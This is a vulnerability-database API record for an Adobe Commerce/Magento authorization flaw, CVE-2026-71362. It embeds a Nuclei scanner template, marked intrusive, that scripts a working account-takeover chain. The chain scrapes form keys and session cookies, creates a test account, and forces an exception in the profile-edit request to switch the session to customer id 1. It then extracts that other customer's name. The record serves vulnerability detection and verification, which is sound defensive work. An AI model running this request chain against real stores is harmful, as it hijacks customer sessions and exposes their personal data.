{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-71362/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-71362/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-71362/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-71362/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-71362/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-71362"},"sightings":{"href":"/api/v1/sightings/cve-2026-71362"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-71362.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-71362\n\ninfo:\n  name: Adobe Commerce/Magento - Customer Session Identity Switch\n  author: 0x_Akoko,dinosn\n  severity: critical\n  description: |\n    Adobe Commerce contains an incorrect authorization vulnerability caused by improper access control, letting attackers escalate privileges to access sensitive resources, exploit requires no user interaction.\n  impact: |\n    Attackers can gain elevated access to sensitive resources, potentially compromising system integrity and data confidentiality.\n  remediation: |\n    Update to the latest version of Adobe Commerce.\n  reference:\n    - https://helpx.adobe.com/security/products/magento/apsb26-92.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-71362\n    - https://sansec.io/research/adobe-commerce-account-takeover-apsb26-92\n    - https://github.com/dinosn/cve-2026-71362-magento-lab\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n    cvss-score: 9.1\n    cve-id: CVE-2026-71362\n    epss-score: 0.87507\n    epss-percentile: 0.99754\n    cwe-id: CWE-863\n  metadata:\n    max-request: 6\n    verified: true\n    vendor: adobe\n    product: magento\n    shodan-query: http.component:\"Magento\"\n    fofa-query: app=\"Magento\"\n  tags: cve,cve2026,magento,adobe-commerce,ato,account-takeover,intrusive,vkev,kev\n\nvariables:\n  rnd: \"{{rand_int(100000, 999999)}}\"\n  email: \"poctest{{rnd}}@poctest.invalid\"\n  password: \"PoCPwd#{{rnd}}\"\n\nflow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6)\n\nhttp:\n  - raw:\n      - |\n        GET /customer/account/create HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(tolower(body), \"form_key\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: fk\n        group: 1\n        regex:\n          - 'name=\"form_key\"[^>]*value=\"([^\"]+)\"'\n        internal: true\n\n      - type: regex\n        name: sessid\n        part: header\n        group: 1\n        regex:\n          - '(?i)Set-Cookie:\\s*(PHPSESSID=[^;]+)'\n        internal: true\n\n  - raw:\n      - |\n        POST /customer/account/createPost HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Cookie: {{sessid}}\n        Referer: {{BaseURL}}/customer/account/create\n\n        form_key={{fk}}&firstname=PoCTestCVE&lastname=Detector&email={{email}}&password={{password}}&password_confirmation={{password}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 || status_code == 302'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: sessid\n        part: header\n        group: 1\n        regex:\n          - '(?i)Set-Cookie:\\s*(PHPSESSID=[^;]+)'\n        internal: true\n\n  - raw:\n      - |\n        GET /customer/account/edit HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: {{sessid}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"PoCTestCVE\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: fk\n        group: 1\n        regex:\n          - 'name=\"form_key\"[^>]*value=\"([^\"]+)\"'\n        internal: true\n\n      - type: regex\n        name: sessid\n        part: header\n        group: 1\n        regex:\n          - '(?i)Set-Cookie:\\s*(PHPSESSID=[^;]+)'\n        internal: true\n\n  - raw:\n      - |\n        POST /customer/account/editPost HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Cookie: {{sessid}}\n        Referer: {{BaseURL}}/customer/account/edit\n\n        form_key={{fk}}&id=1&change_email=1&current_password=wrong-password-forces-exception&email={{email}}&firstname=PoCTestCVE&lastname=Detector\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 || status_code == 302'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: sessid\n        part: header\n        group: 1\n        regex:\n          - '(?i)Set-Cookie:\\s*(PHPSESSID=[^;]+)'\n        internal: true\n\n  - raw:\n      - |\n        GET /customer/account/edit HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: {{sessid}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: sessid\n        part: header\n        group: 1\n        regex:\n          - '(?i)Set-Cookie:\\s*(PHPSESSID=[^;]+)'\n        internal: true\n\n  - raw:\n      - |\n        GET /customer/section/load?sections=customer&force_new_section_timestamp=true HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: {{sessid}}\n        X-Requested-With: XMLHttpRequest\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - '!contains(body, \"PoCTestCVE\")'\n          - 'regex(\"\\\"firstname\\\":\\\"[A-Za-z0-9]\", body)'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: victim_firstname\n        group: 1\n        regex:\n          - '\"firstname\":\"([^\"]+)\"'\n# digest: 4a0a00473045022100d93882a868a606e1928c5ba110c996ed1acb07e6dd20cbb5f27481d90e1ef4e402201937c6ee1bdf5c537b3f277d0882ed8d48dd001f229fc07cc29798ccba2ce2e8:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-71362"}